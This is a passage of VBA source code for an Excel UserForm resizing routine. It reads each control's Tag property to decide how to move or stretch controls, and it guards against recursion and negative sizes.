' 05 Jun 04     Stephen Bullen  Created
' 18 Oct 04     Charles Williams Exit if minimised (height<30)
'
Public Sub FormResize()

    Dim dWidthAdj As Double, dHeightAdj As Double
    Dim bSomeWidthChange As Boolean
    Dim bSomeHeightChange As Boolean
    Dim sTag As String
    Dim oCtl As MSForms.control

    Static bResizing As Boolean

    On Error GoTo LocErr

    'Resizing can be triggered from within this routine,
    'so use a flag to prevent recursion
    If bResizing Then Exit Sub
    If moForm.InsideHeight = 0 Then Exit Sub
    bResizing = True

    'Calculate the change in height and width
    dHeightAdj = moForm.FormHeight - mdHeight
    dWidthAdj = moForm.Width - mdWidth

    'Check if we can perform the adjustment
    '(i.e. widths and heights can't be negative)
    For Each oCtl In moForm.Controls

        'Read the control's Tag property, which contains the resizing info
        sTag = UCase(oCtl.Tag)
        If InStr(",HLINE,CHECKBOX,NODELABEL,VLINE,EXPBOX,EXPTEXT,", "," & sTag & ",") > 0 Then
            'Ignore controls inside our treeview
            sTag = ""
        End If
        'If we're changing the Top, check that it won't move off the top
        'of the form
        If InStr(1, sTag, "T", vbBinaryCompare) Then
            If oCtl.Top + dHeightAdj * ResizeFactor(sTag, "T") <= 0 Then
                '                moForm.FormHeight = mdHeight
            End If

            bSomeHeightChange = True
        End If

        'If we're changing the Left, check that it won't move off the
        'left of the form
        If InStr(1, sTag, "L", vbBinaryCompare) Then
            If oCtl.left + dWidthAdj * ResizeFactor(sTag, "L") <= 0 Then
                moForm.Width = mdWidth
            End If

            bSomeWidthChange = True
        End If

        'If we're changing the Height, check that it won't go negative
        If InStr(1, sTag, "H", vbBinaryCompare) Then
            If oCtl.Height + dHeightAdj * ResizeFactor(sTag, "H") <= 0 Then
                moForm.Height = mdHeight
            End If

            bSomeHeightChange = True
        End If

        'If we're changing the Width, check that it won't go negative
        If InStr(1, sTag, "W", vbBinaryCompare) Then
            If oCtl.Width + dWidthAdj * ResizeFactor(sTag, "W") <= 0 Then
                moForm.Width = mdWidth
            End If

            bSomeWidthChange = True
        End If
    Next    'Control

    'If none of the controls move or size,
    'don't allow the form to resize in that direction
    If Not bSomeHeightChange Then moForm.FormHeight = mdHeight
    If Not bSomeWidthChange Then moForm.Width = mdWidth

    'Recalculate the height and width changes,
    'in case the previous checks reset them
    dHeightAdj = moForm.FormHeight - mdHeight
    dWidthAdj = moForm.Width - mdWidth

…